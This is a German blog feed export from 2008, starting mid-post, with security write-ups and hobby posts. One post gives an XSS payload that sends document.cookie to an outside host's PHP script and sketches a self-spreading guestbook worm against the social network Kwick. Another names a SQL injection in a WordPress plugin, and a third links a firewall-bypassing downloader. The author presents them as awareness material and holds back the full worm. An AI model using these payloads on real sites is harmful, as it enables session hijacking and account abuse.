kann den so ein XSS Code aussehen? Wir bnötigen einen iframe welcher von einem Server das PHP Skript einbindet.&lt;br /&gt;Code:&lt;br /&gt;&lt;pre id=&quot;line1&quot;&gt;&lt;span class=&quot;entity&quot;&gt;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;&quot;&amp;lt;script&amp;gt;keks=document.cookie;document.write( &quot;&amp;lt;iframe src=&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;&#39;http://irgendeinanonymerHost/guestbookSKW.php?Cookie= &quot;+keks+ &quot; &#39; style= &#39;width:100%;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;height:200%;position:absolute; &#39;&amp;gt;&amp;lt;/iframe&amp;gt; &quot;);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;Mit diesem XSS Code wird nun ein iframe eingebunden welcher den GET Parameter Cookie an das PHP Skript übergibt. Der iframe wird mittels Javascript und document.write erstellt da ich ja den Prameter Cookie benötige, und dieser kann ich mittels Javascript auslesen, in der Variablen keks Speichern und dann in die url mit anhängen. Und es ist ja auch mal was anderes als es nur so Plumb in das Suchfeld einzufügen.&lt;br /&gt;&lt;br /&gt;Zu Punkt 2:&lt;br /&gt;Hier brauchen wir ein PHP Skript. Was muss es denn können? Also das PHP Skript&lt;br /&gt;benötigt folgende Fähigkeiten.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Es muss HTTP Verbindungen mit GET und POST Variablen herstellen&lt;/li&gt;&lt;li&gt;REG EXPRESSIONS, auslesen der Buddys(Freunde/Kontakte) &lt;/li&gt;&lt;/ul&gt;Dies ist alles nicht schwer zu bewerkstelligen. Das gesamte Skript möchte ich nicht veröffentlichen. Und es ist zu der Erklärung auch nicht notwendig dies zu tun. Es soll keine Anleitung für Skript Kiddies werden oder solche die es werden wollen. Dies soll aufzeigen wie Angreifer diese Lücken im großen Stil ausnutzen und so Social Networks in die Knie zwingen, oder die Benutzer dieser Netzwerke mit Spam zu Müllen! (mich inklusive :( )&lt;br /&gt;&lt;br /&gt;Die Arbeitsweise von SWK (Social-Worm-Kwick), wird durch Manipulierten link aufgerufen, bekommt das Cookie einer aktuellen Session.&lt;br /&gt;Nimmt das Cookie stellt eine Verbindung zu Kwick her, holt Buddy Seite.&lt;br /&gt;Nun hat der Wurm alle Freunde des Opfers. Nun werden mittels Reg Expression die Nicknamen der Buddys ausgelesen.&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 102, 102);&quot;&gt;preg_match_all(&quot;/(return profil\(&#39;)(.*)(&#39;\))/i&quot;,$content, $treffer);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So nun sind alle Nicknamen der Buddys in $treffer[2] als Array gespeichert. Jetzt muss SWK nur zu jedem Gästebuch eines jeden Users eine Verbindung herstellen. Da hier kein Sicherungscode im Quelltext ist kann ich direkt eine Post Verbindung herstellen und den Gästebucheintrag erstellen. Wer details dazu benötigt dem sei gesagt, von mir gibt es Sie nicht! Denn nur ein Böser Mensch würde hier eine Information benötigen.&lt;br /&gt;&lt;br /&gt;Jetzt hat sich der Wurm weiterverbreitet. Gut das ganze gibt wenig Sinn! Ich könnte aber auch die Passwörter abfischen oder Werbung schalten oder oder oder!&lt;br /&gt;&lt;br /&gt;Es gibt tausend Möglichkeiten und keine einzige ist auch nur ein wenig Sinnvoll. Das wichtigste ist dass die Betreiber aus diesen Fehlern lernen müssen und Ihre Seiten regelmäßig testen lassen!&lt;br /&gt;Denn die Kriminellen Hacker lassen sich auch ständig etwas neues einfallen. Wie man sich vor &lt;a href=&quot;http://de.wikipedia.org/wiki/XSS&quot;&gt;XSS &lt;/a&gt;schützen kann habe ich in einem anderen Artikel aufgezeigt. Weitere Möglichkeiten sind sogenannte &lt;a href=&quot;http://de.wikipedia.org/wiki/Web_Application_Firewall&quot;&gt;WAF ( Web Application Firewall )&lt;/a&gt;. Diese stellen nur eine zusätzliche Maßnahme dar. Am wichtigsten ist eine Sichere Programmierung und das muss nicht kompliziert sein!&lt;br /&gt;&lt;br /&gt;Und für alle welche ein solches Social Network benutzen sollten sich bei zugesendeten links von Bekannten per Message oder Gästebuch eventuell nochmals rückversichern was oder ob diese überhaupt eine Nachricht mit Link gesendet haben. &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Im zweifel einfach löschen und &quot;nicht auf den link klicken&quot;.&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;Mit dieser verhaltensregel kann man sich nur vor XSS Attacken schützen welche eine Aktion des Benutzers verlangen aber es gibt sehr viele XSS Würmer welche ohne eine Eingabe auskommen! &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Wie erstelle ich eine Sichere WebAnwendung?? Hier ist eine gute Quelle des BSI. Zum kurz nachschauen. Mit weiterführenden Links etc. Sehr informativ:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.bsi.de/literat/studien/websec/WebSec.pdf&quot;&gt;Bundesamt für Sicherheit der Informationstechnik (BSI): Maßnahmenkatalog und Best Practices für die Sicherheit von Webanwendungen&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/5740611978180524286/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/5740611978180524286' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5740611978180524286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5740611978180524286'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/soziale-netze-und-die-sicherheit-report.html' title='Soziale Netze und die Sicherheit! Report Kwick!'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHWuMVgwL_GH557xP9e3Z3nTeri-3HuvTyAjxLsZ4Fn32ozHsO6VtKaLKFDTl96NRzd6eGgOhwe6I7dKPU_Ov3rdRPEO5OVbtKbKNGWYHdWiYhb0wUZIMQaeB-9u-r-t75h7XYqFzTsZc5/s72-c/KwickAfter.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-1293716921741218445</id><published>2008-06-11T13:10:00.000-07:00</published><updated>2008-06-11T14:12:43.365-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="absichern"/><category scheme="http://www.blogger.com/atom/ns#" term="plugin"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheit"/><category scheme="http://www.blogger.com/atom/ns#" term="spreadsheet"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injektion"/><category scheme="http://www.blogger.com/atom/ns#" term="wordpress"/><title type='text'>Wordpress plugins mit Nebenwirkungen</title><content type='html'>Wordpress ist mitlerweile sehr weit verbreitet und daher für Angriffe sehr interessant. Vor allem die meist unsicher programmierten plugins machen es einem Potenziellen Angreifer sehr leicht.&lt;br /&gt;&lt;br /&gt;So zum Beispiel das plugin &quot;Spreadsheet&quot;. Dieses Eignet sich besonders für eine SQL-Injection, aber mit union. Also mehrere Select Abfragen durchführen.&lt;br /&gt;&lt;br /&gt;Ich würde gerne einen Link mit dem Ergebniss einer solchen Anfrage einstellen, ich glaube aber dass dies nicht so gern gesehen wird, aber man kann das ganze leicht selbst ausprobieren. Und es ist ja auch nur wichtig zu w&lt;br /&gt;&lt;br /&gt;Bei &quot;Spreadsheet&quot; ist die Datei ss_load.php Betroffen, diese ermöglicht den Einstieg.&lt;br /&gt;&lt;br /&gt;Und die ss_functions.php, mit dieser Zeile in der Funktion ss_load wird die SQL Injektion durchgeführt. Die Herforgehobene Zeile &lt;br /&gt;&lt;br /&gt;function ss_load ($id, $plain=FALSE) {&lt;br /&gt;....&lt;br /&gt;    if ($wpdb-&gt;query(&quot;SELECT * FROM $table_name WHERE id=&#39;$id&#39;&quot;) == 0) {&lt;br /&gt;....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Um sich vor solchen gefährlichen plugins zu schützen empfehle ich wirklichem jedem Wordpress Benutzer dass er sein plugin bevor er es einsetzt erstmal den code anschauen, damit man sieht was das Programm damit macht. Vor allem sollte man keinem plugin vertrauen welches auf externe Daten blind vertraut ;)&lt;br /&gt;&lt;br /&gt;Ah zur Absicherung empfehle ich diesen kleinen Code Schnipsel:&lt;br /&gt;&lt;br /&gt;if(get_magic_quotes_gpc()) &lt;br /&gt;            $varible_von_aussen        = stripslashes($_GET[&#39;varible_von_aussen&#39;]);&lt;br /&gt;       else &lt;br /&gt;            $varible_von_aussen        = $_GET[&#39;varible_von_aussen&#39;];&lt;br /&gt;&lt;br /&gt;$in_die_datenbankabfrage = mysql_real_escape_string($varible_von_aussen, $link);&lt;br /&gt;&lt;br /&gt;Ich frage oben mit &quot;get_magic_quotes_gpc()&quot; ab ob dieses Aktiviert ist. Wenn es aktiviert ist dann wird mit &quot;stripslashes()&quot;  die Maskierung rückgängig gemacht. &lt;br /&gt;Ansonsten würde Maskiertes doppelt Maskiert werden!!!&lt;br /&gt;Mit mysq_real_escape_string wird nun alles Maskiert. &lt;br /&gt;Wichtig: Die mysql Verbindnug muss zu diesem Zeitpunkt schon stehen. Denn $link ist die MySQL Verbindungs-Kennung.&lt;br /&gt;&lt;br /&gt;Also so schwer ist dass ja nun nicht externen code abzusichern. Aber wenn man sich die plugins so anschaut ;-)&lt;br /&gt;&lt;br /&gt;Also Augen auf bei der Wahl eines Plugins!!</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/1293716921741218445/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/1293716921741218445' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1293716921741218445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1293716921741218445'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/wordpress-plugins-mit-nebenwirkungen.html' title='Wordpress plugins mit Nebenwirkungen'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-4948177312455926968</id><published>2008-06-06T08:05:00.000-07:00</published><updated>2008-06-06T10:48:58.484-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="autoklicker"/><category scheme="http://www.blogger.com/atom/ns#" term="cms"/><category scheme="http://www.blogger.com/atom/ns#" term="diagnose Software"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheit"/><category scheme="http://www.blogger.com/atom/ns#" term="windows hack"/><title type='text'>Firewalls und ihre schwächen.....</title><content type='html'>Viele Windows Anwender ahnen nicht wie unsicher sie Tatsächlich unterwegs sind.&lt;br /&gt;Bepackt mit Virenscanner, Firewall, Anti Spyware usw, fühlen die Anwender sich&lt;br /&gt;so sicher wie noch nie ;-)&lt;br /&gt;Frei nach dem Motto, es kann nichts passieren, die Software denkt ja mit. Dabei ist es ja auch ganz einfach jemanden etwas unterzumoglen.&lt;br /&gt;Und mit diesem kleinen Programm lässt sich ganz Leicht ein drittes Programm auf einem Rechner einschleussen!&lt;br /&gt;Das Programm, es könnte jetzt auch in einem kleinen Spiel oder was auch immer verpackt sein, aber dass habe ich mir hier nun erspart. Es soll ja auch nur ein Konzept eines möglichen Angriffs sein und keine vorbereitung als solche.&lt;br /&gt;&lt;br /&gt;Nun gut, das Programm startet den Internet Explorer als nicht Sichtbarer Prozess.&lt;br /&gt;Baut eine Verbindung zu einem Server auf und lädt dann Automatisch ein Programm, hierbei handelt es sich um ein Mini-Programm welches nur eine Meldung herbeizaubert und damit aufzeigt dass das System auf diesem wege angreifbar ist.&lt;br /&gt;&lt;br /&gt;Durch die Autoklick Funktionen, welche windows Anbietet kann man recht leicht alle Fenster, Meldungen und Warnungen bestätigen bzw. weg klicken. Das System Funktioniert gerade auch mit einer Firewall recht gut denn der Browser darf ja Standardmäßig in das Internet.&lt;br /&gt;&lt;br /&gt;Das Programm kann noch Optimiert werden, die Fenster welche sich öffnen, sind ganz kurz Sichtbar. Da könnte man an die Aufrufende Funktionen noch einen Hook Senden damit die Fenster nicht mehr Sichtbar sind. &lt;br /&gt;&lt;br /&gt;Aber um das Konzept zu verdeutlichen reicht das eigentlich aus.&lt;br /&gt;&lt;a href=&quot;http://einrichten-direkt.de/firewall/breaktsh.c&quot;&gt;Hier gehts zum Quellcode in c, c Quelle &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://einrichten-direkt.de/firewall/breaktsh.exe&quot;&gt;Als fertiges Programm die exe.... die gibts hier.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Für alle die mehr für Ihre Sicherheit machen wollen sei diese Seite empfohlen:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.dingens.org/&quot;&gt;www.dingens.org&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/4948177312455926968/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/4948177312455926968' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4948177312455926968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4948177312455926968'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/firewalls-und-ihre-schwchen.html' title='Firewalls und ihre schwächen.....'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-7208486311181257029</id><published>2008-05-27T17:14:00.000-07:00</published><updated>2008-05-27T17:29:14.950-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admin passwort"/><category scheme="http://www.blogger.com/atom/ns#" term="download"/><category scheme="http://www.blogger.com/atom/ns#" term="kostenlos"/><category scheme="http://www.blogger.com/atom/ns#" term="passwort"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="skript"/><category scheme="http://www.blogger.com/atom/ns#" term="wordpress"/><title type='text'>Wordpress Admin Kennwort weg?</title><content type='html'>Wenn einem das Admin Kennwort für seine Wordpress installation entfallen ist und das Morphysche gesetzt zuschlägt und es Funktioniert die e-mail zusendung nicht.&lt;br /&gt;&lt;br /&gt;Dann ist dass noch lange kein Weltuntergang. Mit diesem kleinen Tool kann man  sich ein neues Passwort setzten. Vorrausgesetzt man kann noch auf die Mysql Datenbank zugreifen ;-)&lt;br /&gt;&lt;br /&gt;Dieses Skript erzeutg aus einem Text String einen Md5 verschlüsselten String. Diesen Text kann man dann in der Datenbank speichern und fertig ;-)&lt;br /&gt;&lt;br /&gt;Genaue Anleitung sieht man auf der Seite des Skriptes.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://einrichten-direkt.de/down/crypt.zip&quot;&gt;crypt.zip &lt;&lt; Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Und wer dieses Skript nicht runterladen möchte kann es hier gleich ausprobieren:&lt;br /&gt;&lt;a href=&quot;http://einrichten-direkt.de/crypt/&quot;&gt;Crypt Passwort&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/7208486311181257029/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/7208486311181257029' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7208486311181257029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7208486311181257029'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/05/wordpress-admin-kennwort-weg.html' title='Wordpress Admin Kennwort weg?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-4154928304565531980</id><published>2008-05-27T17:09:00.000-07:00</published><updated>2017-03-31T00:07:39.485-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cms"/><category scheme="http://www.blogger.com/atom/ns#" term="download"/><category scheme="http://www.blogger.com/atom/ns#" term="free"/><category scheme="http://www.blogger.com/atom/ns#" term="kostenlos"/><category scheme="http://www.blogger.com/atom/ns#" term="mini cms"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="system"/><title type='text'>Mini CMS System</title><content type='html'>&lt;b&gt;Dieser Post ist veraltet, eine gute Empfehlung für kleine Projekte ist das &lt;/b&gt;&amp;nbsp;&lt;a href=&quot;https://ghost.org/de/&quot;&gt;https://ghost.org/de/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So hier wird es mal wieder Praktisch. Das ist ein mini-cms system welches für kleinere Anwendungen gedacht ist.&lt;br /&gt;
&lt;br /&gt;
Das ganze System ist relativ einfach zum installieren und kommt ohne Datenbank aus. Die Texte werden einfach als textdatei abgespeichert.&lt;br /&gt;
&lt;br /&gt;
Also die kurzinstallationsanleitung:&lt;br /&gt;
&lt;br /&gt;
Zip Datei runterladen.&lt;br /&gt;
&lt;br /&gt;
Lokal entpacken.&lt;br /&gt;
&lt;br /&gt;
Alle Dateien auf den Webserver laden.&lt;br /&gt;
&lt;br /&gt;
So und schon läuft das Skript. Jetzt kann man noch bei bedarf das Layout welches als vorlage im Ordner styles liegt anpassen. Dann die Texte schreiben und schon ist das ganze fertig!&lt;br /&gt;
&lt;br /&gt;
Dein Mini-CMS ist nun komplett und läuft schon. Also ein echtes 5-Minuten CMS für kleine oder kurzfristige Projekte.&lt;br /&gt;
&lt;br /&gt;
Geeignet für Einsteiger da der Quellcode durchkommentiert ist.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(Der Download wurde entfernt da das System mittlerweile veraltet ist ) ;-)&lt;br /&gt;
Mini CMS Projekt &amp;lt;&amp;lt; Download&lt;br /&gt;
&lt;br /&gt;
Viel Spass mit dem CMS und wems gefällt oder wenn was stört, einfach hier unten ein kommentar abgeben! Danke im voraus</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/4154928304565531980/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/4154928304565531980' title='1 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4154928304565531980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4154928304565531980'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/05/so-hier-wird-es-mal-wieder-praktisch.html' title='Mini CMS System'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-1235142900416381453</id><published>2008-04-24T08:17:00.001-07:00</published><updated>2008-04-24T08:18:41.762-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mr-wong"/><category scheme="http://www.blogger.com/atom/ns#" term="social bookmark"/><title type='text'>Mr. Wong Shirt ich will eins ;-)</title><content type='html'>&lt;object width=&quot;425&quot; height=&quot;355&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/3KY8d32Nj6c&amp;color1=0x2b405b&amp;color2=0x6b8ab6&amp;hl=en&quot;&gt;&lt;/param&gt;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/3KY8d32Nj6c&amp;color1=0x2b405b&amp;color2=0x6b8ab6&amp;hl=en&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot; width=&quot;425&quot; height=&quot;355&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;So hier ein lehrreiches Video, wie man die mr-wong toolbar installiert&lt;br /&gt;&lt;a href=&quot;http://www.mister-wong.de/blog/wie-nutze-ich-mister-wong-neues-video-tutorial/2008/04/24/&quot;&gt;Und hier auf zu mr-wong.de&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/1235142900416381453/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/1235142900416381453' title='1 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1235142900416381453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1235142900416381453'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/04/mr-wong-shirt-ich-will-eins.html' title='Mr. Wong Shirt ich will eins ;-)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-3487517144539500855</id><published>2008-04-24T07:03:00.000-07:00</published><updated>2008-04-27T15:56:20.972-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ajax"/><category scheme="http://www.blogger.com/atom/ns#" term="comedy"/><category scheme="http://www.blogger.com/atom/ns#" term="dienst"/><category scheme="http://www.blogger.com/atom/ns#" term="ikasis"/><category scheme="http://www.blogger.com/atom/ns#" term="mashup"/><category scheme="http://www.blogger.com/atom/ns#" term="video"/><category scheme="http://www.blogger.com/atom/ns#" term="web 2.0"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube api"/><title type='text'>ikasis: komfortabler Youtube Player mit schnell suche</title><content type='html'>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://www.einrichten-direkt.de&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjizc9lY5msZJjIEDXDRJa3V1eBycT1hY6AuoBkR2wDVSH7561Gut0fnYY0QskWG4rmy0tCGbYOHeiuUkBAxzmZoGIizrs3CnQ3HzvIGhiQfkwD-7v6IlZLuKDs3QviFA1R9J8klSgvtc8w/s320/ikasis.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5192815689877092914&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;Der &lt;a href=&quot;http://www.einrichten-direkt.de&quot;&gt;ikasis Player&lt;/a&gt; ist mit der neuen &lt;a href=&quot;http://youtube.com&quot;&gt;Youtube API&lt;/a&gt; realisiert worden. Er besitzt eine ajax engine und kann so eine schnelle suche durchführen ohnde die aktuelle seite neu zu laden und so das aktuelle video zu stoppen.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.einrichten-direkt.de&quot;&gt;Direkt zum ikasis Player!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Direkt nach dem laden der seite werden die top rated videos angezeigt. Man kann einen vordefinierten Kanal auswählen, wie bsp musik oder comedy.  Oder eben eine suche durchführen lassen. Die Videos kommen alle von Youtube und sind dadurch mehr als zahlreich vorhanden.&lt;br /&gt;&lt;br /&gt;Das top feature ist die einfache handhabung. Sobald ein Video sich dem ende nähert wird das nächste video geladen und sofort wiedergegeben. So erspart man sich das ständige gewurschtel mit der Playlist obwohl man nur mal nebenbei musik hören oder ein paar sketche anschauen möchte.&lt;br /&gt;&lt;br /&gt;Die benutzung von&lt;a href=&quot;http://comone.ath.cx/webcom/layout/youtube.php&quot;&gt; ikasis* player lohnt sich wirklich&lt;/a&gt;, da der player einfach in der Handhabung ist und tolle features besitzt.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.einrichten-direkt.de&quot;&gt;Also gleich mal den player testen ;-)&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/3487517144539500855/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/3487517144539500855' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/3487517144539500855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/3487517144539500855'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/04/ikasis-komfortabler-youtube-player-mit.html' title='ikasis: komfortabler Youtube Player mit schnell suche'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjizc9lY5msZJjIEDXDRJa3V1eBycT1hY6AuoBkR2wDVSH7561Gut0fnYY0QskWG4rmy0tCGbYOHeiuUkBAxzmZoGIizrs3CnQ3HzvIGhiQfkwD-7v6IlZLuKDs3QviFA1R9J8klSgvtc8w/s72-c/ikasis.jpg" height="72" width="72"/><thr:total>0</thr:total></entry></feed>